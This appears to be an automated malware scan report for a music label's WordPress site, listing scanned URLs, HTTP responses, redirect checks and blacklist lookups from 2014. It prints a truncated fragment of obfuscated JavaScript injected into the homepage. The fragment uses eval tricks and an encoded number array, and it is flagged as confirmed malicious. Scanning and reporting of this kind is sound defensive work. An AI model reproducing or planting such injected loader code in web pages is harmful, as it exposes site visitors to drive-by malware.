Scanned pages/files
Request | Server response | Status |
http://birthrightrecordings.com/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Fri, 26 Dec 2014 05:18:32 GMT Location: http://www.birthrightrecordings.com/ Server: Apache Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.birthrightrecordings.com/xmlrpc.php | clean |
http://www.birthrightrecordings.com/ | 200 OK Content-Length: 11791 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) try{document.body++}catch(dgsgsdg){zxc=1;ww=eval("window");}try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="asd"}catch(bawetawe){if(ww.document){v=window;try{fawbe--}catch(afnwenew){if("".substr)ev=eval;n=["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3 Antivirus reports:
| ||
http://www.birthrightrecordings.com/wp-includes/js/jquery/jquery.js?ver=1.7.2 | 200 OK Content-Length: 94861 Content-Type: text/javascript | clean |
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/md5.js | 200 OK Content-Length: 6503 Content-Type: text/javascript | clean |
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/pretty.js | 200 OK Content-Length: 1155 Content-Type: text/javascript | clean |
http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js | 200 OK Content-Length: 118695 Content-Type: application/x-javascript | clean |
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/DD_belatedPNG.js | 200 OK Content-Length: 7019 Content-Type: text/javascript | clean |
http://www.birthrightrecordings.com/wp-content/themes/showcase/js/scripts.js | 200 OK Content-Length: 1705 Content-Type: text/javascript | clean |
http://birthrightrecordings.com/test404page.js | 404 Not Found Content-Length: 2445 Content-Type: text/html | clean |
http://cdn.dsultra.com/js/registrar.js | 200 OK Content-Length: 1688 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: birthrightrecordings.com
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 26 Dec 2014 05:18:32 GMT
Location: http://www.birthrightrecordings.com/
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.birthrightrecordings.com/xmlrpc.php
...0 bytes of data.
GET / HTTP/1.1
Host: birthrightrecordings.com
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Fri, 26 Dec 2014 05:18:32 GMT
Location: http://www.birthrightrecordings.com/
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.birthrightrecordings.com/xmlrpc.php
...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: birthrightrecordings.com
Referer: http://www.google.com/search?q=birthrightrecordings.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: birthrightrecordings.com
Referer: http://www.google.com/search?q=birthrightrecordings.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=birthrightrecordings.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://birthrightrecordings.com/
Result: birthrightrecordings.com is not infected or malware details are not published yet.
Result: birthrightrecordings.com is not infected or malware details are not published yet.